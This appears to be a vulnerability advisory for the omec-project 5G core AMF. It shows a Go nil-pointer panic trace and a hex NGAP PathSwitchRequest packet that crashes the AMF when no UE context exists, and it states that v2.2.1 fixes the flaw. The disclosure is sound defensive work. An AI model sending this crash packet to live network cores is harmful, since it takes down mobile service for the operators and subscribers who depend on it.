Sending a PathSwitchRequest without establishing a valid UE Context crashes the AMF
2026-02-10T00:31:48.518Z INFO service/service.go:203 connection[addr: <nil>] closed {"component": "AMF", "category": "NGAP"}
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x0 pc=0x1367dc0]
goroutine 82419 gp=0xc00101a000 m=18 mp=0xc000101808 [running]:
panic({0x1624140?, 0x26d9d20?})
/usr/local/go/src/runtime/panic.go:802 +0x168 fp=0xc000fbf730 sp=0xc000fbf680 pc=0x481128
runtime.panicmem(...)
/usr/local/go/src/runtime/panic.go:262
runtime.sigpanic()
/usr/local/go/src/runtime/signal_unix.go:925 +0x359 fp=0xc000fbf790 sp=0xc000fbf730 pc=0x483ab9
github.com/omec-project/amf/ngap.FetchRanUeContext(0xc0002c0e60, 0x37?)
/go/src/amf/ngap/handler.go:285 +0x2160 fp=0xc000fbfda8 sp=0xc000fbf790 pc=0x1367dc0
github.com/omec-project/amf/ngap.Dispatch({0x1b3e9b8, 0xc000e32090}, {0xc001232000, 0x37, 0x20000})
/go/src/amf/ngap/dispatcher.go:148 +0x1e9 fp=0xc000fbfee8 sp=0xc000fbfda8 pc=0x13630a9
github.com/omec-project/amf/ngap/service.handleConnection(0xc000e32090, 0x1b36b00?, {0x18db858?, 0x18db860?})
/go/src/amf/ngap/service/service.go:263 +0x392 fp=0xc000fbffb0 sp=0xc000fbfee8 pc=0x13c7712
github.com/omec-project/amf/ngap/service.listenAndServe.gowrap1()
/go/src/amf/ngap/service/service.go:171 +0x2d fp=0xc000fbffe0 sp=0xc000fbffb0 pc=0x13c71cd
runtime.goexit({})
/usr/local/go/src/runtime/asm_amd64.s:1693 +0x1 fp=0xc000fbffe8 sp=0xc000fbffe0 pc=0x489ca1
created by github.com/omec-project/amf/ngap/service.listenAndServe in goroutine 55
/go/src/amf/ngap/service/service.go:171 +0xa85
Sending a PathSwitchRequest without establishing a valid UE Context crashes the AMF
Reproduction Step:
Send this NGAP Packet
00 19 80 33 00 00 04 00 55 00 02 00 00 00 0A 40 06 80 20 98 A0 C7 6D 00 79 00 0F 40 3B 7D 57 B8 A3 4C E0 80 3B 7D 57 00 00 07 00 77 00 09 05 5E 44 78 D0 A4 FB C0 24
AMF Log:
Advisory:
Fixed in the latest release v2.2.1
https://hub.docker.com/layers/omecproject/5gc-amf/rel-2.2.1/images/sha256-8a4c33cdda866094f1989bdeff6d8642fce8de8435f89defd66831c97715f5aa